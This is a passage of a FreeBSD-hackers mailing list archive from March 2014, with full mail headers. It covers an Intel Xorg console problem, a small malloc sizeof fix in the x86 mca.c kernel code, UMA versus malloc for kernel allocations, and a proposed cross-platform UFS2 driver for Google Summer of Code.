UvTdtjgb8om6bbFBmEJGLtt/1sAAlYsNgi4ZdQOdiu49sGHCn8cxqYuK84thhkMIspGp QDAAhyRfDoYZbSbg7+0lOx/bgzELMzLKgBQliXIIhjd/R8zxxuAbZ9vDnTqEGG+MeQXf GkGA== MIME-Version: 1.0 X-Received: by 10.229.193.136 with SMTP id du8mr4263928qcb.11.1394733756757; Thu, 13 Mar 2014 11:02:36 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Thu, 13 Mar 2014 11:02:36 -0700 (PDT) In-Reply-To: <5320EA9E.2060907@freebsd.org> References: <5320EA9E.2060907@freebsd.org> Date: Thu, 13 Mar 2014 19:02:36 +0100 X-Google-Sender-Auth: jtQBhePNosQapKZ4MxkQcdvDRJo Message-ID: Subject: Re: GSoC proposition: Intel HD Xorg + console fixup, video acceleration if possible From: CeDeROM To: Niclas Zeising Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 18:02:37 -0000 On Thu, Mar 13, 2014 at 12:15 AM, Niclas Zeising wrote: > On 03/12/14 18:08, CeDeROM wrote: >> My proposition is to fix the current Intel HD Xorg driver so we have >> console back again. Video hardware acceleration for Intel video >> drivers if possible. > This is being worked on, and is probably not suited for a GSoC project. > If you are interested in testing, please install FreeBSD 11 or A recent > FreeBSD-10-stable and add WITH_NEW_XORG= to /etc/make.conf and recompile > all xorg related ports. (..) Hello Niclas! :-) On my FreeBSD-10.0-AMD64 now I cannot switch back to console after I launch Xorg with Inter driver. This was not the case in 9, where I could switch back to console, unless I specified WITH_NEW_XORG in make.conf. So I guess binary ports provided by pkg are already built with that flag set..? -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 18:40:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6AAC676F for ; Thu, 13 Mar 2014 18:40:55 +0000 (UTC) Received: from mail.lysator.liu.se (mail.lysator.liu.se [IPv6:2001:6b0:17:f0a0::3]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 16877EF7 for ; Thu, 13 Mar 2014 18:40:55 +0000 (UTC) Received: from mail.lysator.liu.se (localhost [127.0.0.1]) by mail.lysator.liu.se (Postfix) with ESMTP id 3B48440014 for ; Thu, 13 Mar 2014 19:40:52 +0100 (CET) Received: by mail.lysator.liu.se (Postfix, from userid 1004) id 310B440012; Thu, 13 Mar 2014 19:40:52 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on bernadotte.lysator.liu.se X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=AWL autolearn=disabled version=3.3.1 X-Spam-Score: 0.0 Received: from mx.daemonic.se (unknown [94.254.45.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.lysator.liu.se (Postfix) with ESMTPSA id CC1E04000B; Thu, 13 Mar 2014 19:40:51 +0100 (CET) Received: from mailscanner.daemonic.se (mailscanner.daemonic.se [IPv6:2001:470:dca9:0:1::6]) by mx.daemonic.se (Postfix) with ESMTPS id 3flJl741JYz8ghB; Thu, 13 Mar 2014 19:40:51 +0100 (CET) X-Virus-Scanned: amavisd-new at daemonic.se Received: from mx.daemonic.se ([10.1.0.3]) (using TLS with cipher CAMELLIA256-SHA) by mailscanner.daemonic.se (mailscanner.daemonic.se [10.1.0.6]) (amavisd-new, port 10025) with ESMTPS id F9aD5mX-wqtT; Thu, 13 Mar 2014 19:40:49 +0100 (CET) Received: from mail.daemonic.se (mail.daemonic.se [10.1.0.4]) by mx.daemonic.se (Postfix) with ESMTPS id 3flJl072p8z8gh6; Thu, 13 Mar 2014 19:40:44 +0100 (CET) Received: from tifa.daemonic.se (tifa.daemonic.se [10.32.0.6]) by mail.daemonic.se (Postfix) with ESMTPSA id 3flJl06MQkz9D6J; Thu, 13 Mar 2014 19:40:44 +0100 (CET) Received: from tifa.daemonic.se (localhost [IPv6:::1]) by tifa.daemonic.se (Postfix) with ESMTP id BD9AF22831; Thu, 13 Mar 2014 19:40:44 +0100 (CET) Message-ID: <5321FBAC.50703@freebsd.org> Date: Thu, 13 Mar 2014 19:40:44 +0100 From: Niclas Zeising User-Agent: Mutt/1.5.21 MIME-Version: 1.0 To: CeDeROM Subject: Re: GSoC proposition: Intel HD Xorg + console fixup, video acceleration if possible References: <5320EA9E.2060907@freebsd.org> In-Reply-To: Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV using ClamSMTP Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 18:40:55 -0000 On 03/13/14 19:02, CeDeROM wrote: > On Thu, Mar 13, 2014 at 12:15 AM, Niclas Zeising wrote: >> On 03/12/14 18:08, CeDeROM wrote: >>> My proposition is to fix the current Intel HD Xorg driver so we have >>> console back again. Video hardware acceleration for Intel video >>> drivers if possible. >> This is being worked on, and is probably not suited for a GSoC project. >> If you are interested in testing, please install FreeBSD 11 or A recent >> FreeBSD-10-stable and add WITH_NEW_XORG= to /etc/make.conf and recompile >> all xorg related ports. (..) > > Hello Niclas! :-) On my FreeBSD-10.0-AMD64 now I cannot switch back to > console after I launch Xorg with Inter driver. This was not the case > in 9, where I could switch back to console, unless I specified > WITH_NEW_XORG in make.conf. So I guess binary ports provided by pkg > are already built with that flag set..? > The binary packages for 10 and 9 are still the old version of xorg. I don't know why you can't switch back to the console after starting xorg. If you can send me the output of kldstat, as well as Xorg.0.log and a list of installed packages I might be able to help more. Regards! -- Niclas Zeising From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 19:38:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CA778CB2 for ; Thu, 13 Mar 2014 19:38:02 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A322468E for ; Thu, 13 Mar 2014 19:38:02 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id C917DB94C; Thu, 13 Mar 2014 15:37:58 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [PATCH] x86/mca.c: malloc with correct pointer type Date: Thu, 13 Mar 2014 13:57:07 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <1394728529-22495-1-git-send-email-conrad.meyer@isilon.com> In-Reply-To: <1394728529-22495-1-git-send-email-conrad.meyer@isilon.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201403131357.07665.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 13 Mar 2014 15:37:58 -0400 (EDT) Cc: "Meyer, Conrad" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 19:38:02 -0000 On Thursday, March 13, 2014 12:35:34 pm Meyer, Conrad wrote: > Another trivial one discovered by Clang. > > Sponsored by: EMC/Isilon storage division > Signed-off-by: Conrad Meyer > --- > > Had to track down where this file lived in CURRENT, since we have it in an old > location in OneFS. > --- > sys/x86/x86/mca.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/sys/x86/x86/mca.c b/sys/x86/x86/mca.c > index 0e246ed..ac0b957 100644 > --- a/sys/x86/x86/mca.c > +++ b/sys/x86/x86/mca.c > @@ -700,8 +700,8 @@ cmci_setup(void) > { > int i; > > - cmc_state = malloc((mp_maxid + 1) * sizeof(struct cmc_state **), > - M_MCA, M_WAITOK); > + cmc_state = malloc((mp_maxid + 1) * sizeof(*cmc_state), M_MCA, > + M_WAITOK); > for (i = 0; i <= mp_maxid; i++) > cmc_state[i] = malloc(sizeof(struct cmc_state) * mca_banks, > M_MCA, M_WAITOK | M_ZERO); I would rather do 'struct cmc_state *' as I think it is clearer to read, but the change is correct. Thanks! -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 22:14:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1B195219; Thu, 13 Mar 2014 22:14:01 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BB28E750; Thu, 13 Mar 2014 22:14:00 +0000 (UTC) Received: from maildlpprd51.lss.emc.com (maildlpprd51.lss.emc.com [10.106.48.155]) by mailuogwprd51.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DMDwKS000953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Mar 2014 18:13:58 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd51.lss.emc.com s2DMDwKS000953 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394748838; bh=/4PXMrqikI5ZmWFMaxrekuj2Vbo=; h=From:To:Subject:Date:Message-ID:References:In-Reply-To: Content-Type:Content-Transfer-Encoding:MIME-Version; b=XX01628KfycFUpjeit4R3b2llwHhaIkN/+3SgdQjZplhAWd2R7rQOndeITM6iH4Zd dLbPe6Qmu4rFitWwjN34AYXnRKxj0Os+LRo+MpJ+zi1PL2QwMXvrU0gQiqxrA+HLAv x6+Y21hRp0GsycPW28GYTxymUvey4FZY6yqnk2YQ= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd51.lss.emc.com s2DMDwKS000953 Received: from mailusrhubprd03.lss.emc.com (mailusrhubprd03.lss.emc.com [10.253.24.21]) by maildlpprd51.lss.emc.com (RSA Interceptor); Thu, 13 Mar 2014 18:13:43 -0400 Received: from mxhub34.corp.emc.com (mxhub34.corp.emc.com [10.254.93.82]) by mailusrhubprd03.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2DMDh4u029921 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL); Thu, 13 Mar 2014 18:13:43 -0400 Received: from MXHUB104.corp.emc.com (10.253.58.16) by mxhub34.corp.emc.com (10.254.93.82) with Microsoft SMTP Server (TLS) id 8.3.327.1; Thu, 13 Mar 2014 18:13:43 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB104.corp.emc.com ([::1]) with mapi id 14.03.0158.001; Thu, 13 Mar 2014 18:13:42 -0400 From: "Meyer, Conrad" To: John Baldwin , "freebsd-hackers@freebsd.org" Subject: RE: [PATCH] x86/mca.c: malloc with correct pointer type Thread-Topic: [PATCH] x86/mca.c: malloc with correct pointer type Thread-Index: AQHPPtpBAbqAMKGBbkqrBlZQxqDI4ZrfkKWAgAAEQNc= Date: Thu, 13 Mar 2014 22:13:41 +0000 Message-ID: References: <1394728529-22495-1-git-send-email-conrad.meyer@isilon.com>, <201403131357.07665.jhb@freebsd.org> In-Reply-To: <201403131357.07665.jhb@freebsd.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.7.176.236] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd03.lss.emc.com X-RSA-Classifications: public X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 22:14:01 -0000 > From: John Baldwin [jhb@freebsd.org]=0A= > Sent: Thursday, March 13, 2014 10:57 AM=0A= > To: freebsd-hackers@freebsd.org=0A= > Cc: Meyer, Conrad=0A= > Subject: Re: [PATCH] x86/mca.c: malloc with correct pointer type=0A= > =0A= > > - cmc_state =3D malloc((mp_maxid + 1) * sizeof(struct cmc_state **)= ,=0A= > > - M_MCA, M_WAITOK);=0A= > > + cmc_state =3D malloc((mp_maxid + 1) * sizeof(*cmc_state), M_MCA,= =0A= > > + M_WAITOK);=0A= > > for (i =3D 0; i <=3D mp_maxid; i++)=0A= > > cmc_state[i] =3D malloc(sizeof(struct cmc_state) * mca_ba= nks,=0A= > > M_MCA, M_WAITOK | M_ZERO);=0A= > =0A= > I would rather do 'struct cmc_state *' as I think it is clearer to read, = but=0A= > the change is correct. Thanks!=0A= > =0A= > --=0A= > John Baldwin=0A= =0A= Sounds fine to me.=0A= =0A= Thanks,=0A= Conrad= From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 22:19:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8168D37D for ; Thu, 13 Mar 2014 22:19:48 +0000 (UTC) Received: from mail-qa0-f41.google.com (mail-qa0-f41.google.com [209.85.216.41]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3E72979A for ; Thu, 13 Mar 2014 22:19:47 +0000 (UTC) Received: by mail-qa0-f41.google.com with SMTP id j5so1751131qaq.0 for ; Thu, 13 Mar 2014 15:19:41 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=jl12f7dQ/RnYw+UYp0NxmPuBZzUNXZWGiCXMopJcjxU=; b=dNBesr8/8rf6hShZFcNJy4bEbiuHRmS8bZQIsCA5xGe5j65tiqHlmdMLaB3f8kqBQJ mzYClVJvdSiLHCqKT2uJWBWPiWrFP/UAPxbRM68mNonWyeSAK5K2iXDgvHBN+aRbT85w O5Di1G9LCYtfZfmhGopfbJVdGUmaitlEWrBTwaFnsUKsRdZNnBMxGYzISvQySreTtuQe fiDWTkwgn6E7FwVujLRjpKW9sSTF7zy9kakmVx18kYTEcUjnD2sEOmS0KLI2IvdsjdfT pNrSrJ2qQVZHY3+VTGmAHTRaxWXcni7yqlrl3tiYx0p/z+GLADZu6l/92BS+Ccok8sT1 /Urw== X-Gm-Message-State: ALoCoQkjhkBj7htr5nJzGxQRA3Y4UZiU9X2fhjFqjUageN1rzLalJvqsvotZwXXm0v3CQiU8RiuM X-Received: by 10.140.40.5 with SMTP id w5mr5263153qgw.65.1394748798307; Thu, 13 Mar 2014 15:13:18 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.102 with HTTP; Thu, 13 Mar 2014 15:12:58 -0700 (PDT) X-Originating-IP: [222.228.90.224] In-Reply-To: <5321EF7E.7000500@gentoo.org> References: <5321EF7E.7000500@gentoo.org> From: Julio Merino Date: Fri, 14 Mar 2014 07:12:58 +0900 X-Google-Sender-Auth: lSCWhbh-Hwk_w3yaxSYAXo2t-Mc Message-ID: Subject: Re: GSoC proposition: multiplatform UFS2 driver To: Richard Yao Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-hackers@freebsd.org, CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 22:19:48 -0000 On Fri, Mar 14, 2014 at 2:48 AM, Richard Yao wrote: > On 03/12/2014 12:54 PM, CeDeROM wrote: >> My proposition is to create universal UFS2 driver that would work on >> Windows, Linux, and maybe other OS, so we can use native UFS2 as data >> partition among various OS. >> > > I like this idea. In particular, I would like to have UFS2 SU+J > available for use in certain Linux VMs and was thinking about this > possibility earlier in the week. However, I no longer qualify to be a > GSoC student and I do not have time to do it myself. > [...] > Speaking as a kernel filesystem hacker (with most of my experience in > Linux), I think this could be too ambitious depending on how you add > detail. In particular, Linux has a moving target of a VFS (which causes > much pain) and Windows' IFS is very different from the SunOS VFS that > has become the basis for implementing multiple filesystems on different > UNIX implementations and copy-cats. [...] Something worth pointing out here: in NetBSD, and thanks to rump, you can already get the *verbatim* in-kernel code of UFS2 built on a variety of host platforms. You could very easily turn the existing file system code into a FUSE file-system for Linux, for example, or write the necessary shims to bundle the code into a kernel driver. In other words and in my opinion: rewriting file system code from scratch is outside of the scope of GSoC, but writing the glue code for the above to happen doesn't sound too crazy. (The only problem may be if NetBSD's UFS2 driver is not compatible with FreeBSD's... but I believe they should be for the "basic stuff".) Some links: https://github.com/rumpkernel/buildrump.sh http://wiki.netbsd.org/rumpkernel/ From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 22:22:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 402A24D1; Thu, 13 Mar 2014 22:22:21 +0000 (UTC) Received: from esa-jnhn.mail.uoguelph.ca (esa-jnhn.mail.uoguelph.ca [131.104.91.44]) by mx1.freebsd.org (Postfix) with ESMTP id BA089823; Thu, 13 Mar 2014 22:22:20 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqUEANMuIlODaFve/2dsb2JhbABWA4NBV4MGtzyGX0+BNHSCJQEBAQMBAQEBIAQnIAsbGAICDRkCKQEJJgYIBwQBHASHUAgNshOhfxeBKYtGgQwLBQIBARokEAcRgl6BSQSVboQJkHuDSSExfEE X-IronPort-AV: E=Sophos;i="4.97,649,1389762000"; d="scan'208";a="105501731" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-jnhn.mail.uoguelph.ca with ESMTP; 13 Mar 2014 18:22:19 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 4D578B3F7D; Thu, 13 Mar 2014 18:22:19 -0400 (EDT) Date: Thu, 13 Mar 2014 18:22:19 -0400 (EDT) From: Rick Macklem To: John-Mark Gurney Message-ID: <1783335610.22308389.1394749339304.JavaMail.root@uoguelph.ca> In-Reply-To: <20140313054659.GG32089@funkthat.com> Subject: Re: kernel memory allocator: UMA or malloc? MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [172.17.91.202] X-Mailer: Zimbra 7.2.1_GA_2790 (ZimbraWebClient - FF3.0 (Win)/7.2.1_GA_2790) Cc: Freebsd hackers list , Garrett Wollman X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 22:22:21 -0000 John-Mark Gurney wrote: > Rick Macklem wrote this message on Wed, Mar 12, 2014 at 21:59 -0400: > > John-Mark Gurney wrote: > > > Rick Macklem wrote this message on Tue, Mar 11, 2014 at 21:32 > > > -0400: > > > > I've been working on a patch provided by wollman@, where > > > > he uses UMA instead of malloc() to allocate an iovec array > > > > for use by the NFS server's read. > > > > > > > > So, my question is: > > > > When is it preferable to use UMA(9) vs malloc(9) if the > > > > allocation is going to be a fixed size? > > > > > > UMA has benefits if the structure size is uniform and a non-power > > > of > > > 2.. > > > In this case, it can pack the items more densely, say, a 192 byte > > > allocation can fit 21 allocations in a 4k page size verse malloc > > > which > > > would round it up to 256 bytes leaving only 16 per page... These > > > counts per page are probably different as UMA may keep some > > > information > > > in the page... > > > > > Ok, this one might apply. I need to look at the size. > > > > > It also has the benefit of being able to keep allocations "half > > > alive".. > > > "freed" objects can be partly initalized with references to > > > buffers > > > and > > > other allocations still held by them... Then if the systems needs > > > to > > > fully free your allocation, it can, and will call your function > > > to > > > release these remaining resources... look at the ctor/dtor > > > uminit/fini > > > functions in uma(9) for more info... > > > > > > uma also allows you to set a hard limit on the number of > > > allocations > > > the zone provides... > > > > > Yep. None of the above applies to this case, but thanks for the > > good points > > for a future case. (I've seen where this gets used for the > > "secondary zone" > > for mbufs+cluster.) > > > > > Hope this helps... > > > > > Yes, it did. Thanks. > > > > Does anyone know if there is a significant performance difference > > if the allocation > > is a power of 2 and the "half alive" cases don't apply? > > From my understanding, the malloc case is "slightly" slower as it > needs to look up which bucket to use, but after the lookup, the > buckets > are UMA, so the performance will be the same... > > > Thanks all for your help, rick > > ps: Garrett's patch switched to using a fixed size allocation and > > using UMA(9). > > Since I have found that a uma allocation request with M_WAITOK > > can get the thread > > stuck sleeping in "btalloc", I am a bit shy of using it when > > I've never > > Hmm... I took a look at the code, and if you're stuck in btalloc, > either pause(9) isn't working, or you're looping, which probably > means > you're really low on memory... > Well, this was an i386 with the default of about 400Mbytes of kernel memory (address space if I understand it correctly). Since it seemed to persist in this state, I assumed that it was looping and, therefore, wasn't able to find a page sized and page aligned chunk of kernel address space to use. (The rest of the system was still running ok.) I did email about this and since no one had a better explanation/fix, I avoided the problem by using M_NOWAIT on the m_getjcl() call. Although I couldn't reproduce this reliably, it seemed to happen more easily when my code was doing a mix of MCLBYTES and MJUMPAGESIZE cluster allocation. Again, just a hunch, but maybe the MCLBYTE cluster allocations were fragmenting the address space to the point where a page sized chunk aligned to a page boundary couldn't be found. Alternately, the code for M_WAITOK is broken in some way not obvious to me. Either way, I avoid it by using M_NOWAIT. I also fall back on: MGET(..M_WAITOK); MCLGET(..M_NOWAIT); which has a "side effect" of draining the mbuf cluster zone if the MCLGET(..M_NOWAIT) fails to get a cluster. (For some reason m_getcl() and m_getjcl() do not drain the cluster zone when they fail?) One of the advantages of having very old/small hardware to test on;-) > > had a problem with malloc(). Btw, this was for a pagesize > > cluster allocation, > > so it might be related to the alignment requirement (and > > running on a small > > i386, so the kernel address space is relatively small). > > Yeh, if you put additional alignment requirements, that's probably > it, > but if you needed these alignment requirements, how was malloc > satisfying your request? > This was for a m_getjcl(MJUMAGEIZE, M_WAITOK..), so for this case I've never done a malloc(). The code in head (which my patch uses as a fallback when m_getjcl(..M_NOWAIT..) fails does (as above): MGET(..M_WAITOK); MCLGET(..M_NOWAIT); > > I do see that switching to a fixed size allocation to cover the > > common > > case is a good idea, but I'm not sure if setting up a uma zone > > is worth > > the effort over malloc()? > > I'd say it depends upon how many and the number... If you're > allocating > many megabytes of memory, and the wastage is 50%+, then think about > it, but if it's just a few objects, then the coding time and > maintenance isn't worth it.. > Btw, I think the allocation is a power of 2. (It is a power of 2 times sizeof(struct iovec) and it looks to me that sizeof(struct iovec) is a power of 2 as well. (I know i386 is 8 and I think most 64bits arches will make it 16, since it is a pointer and a size_t.) This was part of Garrett's patch, so I'll admit I would have been to lazy to do it.;-) Now it's in the current patch, so unless there seems to be a reason to take it out..?? Garrett mentioned that UMA(9) has a per-CPU cache. I'll admit I don't know what that implies? - I might guess that a per-CPU cache would be useful for items that get re-allocated a lot with minimal change to the data in the slab. --> It seems to me that if most of the bytes in the slab have the same bits, then you might improve hit rate on the CPU's memory caches, but since I haven't looked at this, I could be way off?? - For this case, the iovec array that is allocated is filled in with different mbuf data addresses each time, so minimal change doesn`t apply. - Does the per-CPU cache help w.r.t. UMA(9) internal code perf? So, lots of questions that I don't have an answer for. However, unless there is a downside to using UMA(9) for this, the code is written and I'm ok with it. Thanks for all the good comments, rick > -- > John-Mark Gurney Voice: +1 415 225 5579 > > "All that I will do, has been done, All that I have, has not." > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 13 22:29:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 015578DC; Thu, 13 Mar 2014 22:29:19 +0000 (UTC) Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C44A8865; Thu, 13 Mar 2014 22:29:18 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 0F0F733FABC; Thu, 13 Mar 2014 22:29:10 +0000 (UTC) Message-ID: <53223140.9030208@gentoo.org> Date: Thu, 13 Mar 2014 18:29:20 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Julio Merino Subject: Re: GSoC proposition: multiplatform UFS2 driver References: <5321EF7E.7000500@gentoo.org> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="as4mxJEFeEtn235GvjhNqfwdGaWU73i6k" Cc: freebsd-hackers@freebsd.org, CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Mar 2014 22:29:19 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --as4mxJEFeEtn235GvjhNqfwdGaWU73i6k Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 03/13/2014 06:12 PM, Julio Merino wrote: > On Fri, Mar 14, 2014 at 2:48 AM, Richard Yao wrote: >> On 03/12/2014 12:54 PM, CeDeROM wrote: >>> My proposition is to create universal UFS2 driver that would work on >>> Windows, Linux, and maybe other OS, so we can use native UFS2 as data= >>> partition among various OS. >>> >> >> I like this idea. In particular, I would like to have UFS2 SU+J >> available for use in certain Linux VMs and was thinking about this >> possibility earlier in the week. However, I no longer qualify to be a >> GSoC student and I do not have time to do it myself. >> [...] >> Speaking as a kernel filesystem hacker (with most of my experience in >> Linux), I think this could be too ambitious depending on how you add >> detail. In particular, Linux has a moving target of a VFS (which cause= s >> much pain) and Windows' IFS is very different from the SunOS VFS that >> has become the basis for implementing multiple filesystems on differen= t >> UNIX implementations and copy-cats. > [...] >=20 > Something worth pointing out here: in NetBSD, and thanks to rump, you > can already get the *verbatim* in-kernel code of UFS2 built on a > variety of host platforms. You could very easily turn the existing > file system code into a FUSE file-system for Linux, for example, or > write the necessary shims to bundle the code into a kernel driver. This would work, but I think it dramatically reduces the value of the result. > In other words and in my opinion: rewriting file system code from > scratch is outside of the scope of GSoC, but writing the glue code for > the above to happen doesn't sound too crazy. (The only problem may be > if NetBSD's UFS2 driver is not compatible with FreeBSD's... but I > believe they should be for the "basic stuff".) >=20 > Some links: >=20 > https://github.com/rumpkernel/buildrump.sh > http://wiki.netbsd.org/rumpkernel/ >=20 There is no need to write the code from scratch. He would just need to take the existing code and wrap it so that it builds as part of a kernel module for other kernels. The only things that need to be written is glue code for mapping *BSD interfaces to foreign ones. I do not think it is much more complex than writing a FUSE filesystem driver, especially given the existence of user-mode Linux. That would permit the filesystem driver for Linux to be developed in userland on FreeBSD, much like a FUSE driver. Once the wrapper is written, the things that need revision to support other kernels should be rather clearly defined. http://user-mode-linux.sourceforge.net/ That being said, I do not like the idea of using NetBSD's UFS2 code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 second only to ZFS in desirability. --as4mxJEFeEtn235GvjhNqfwdGaWU73i6k Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; 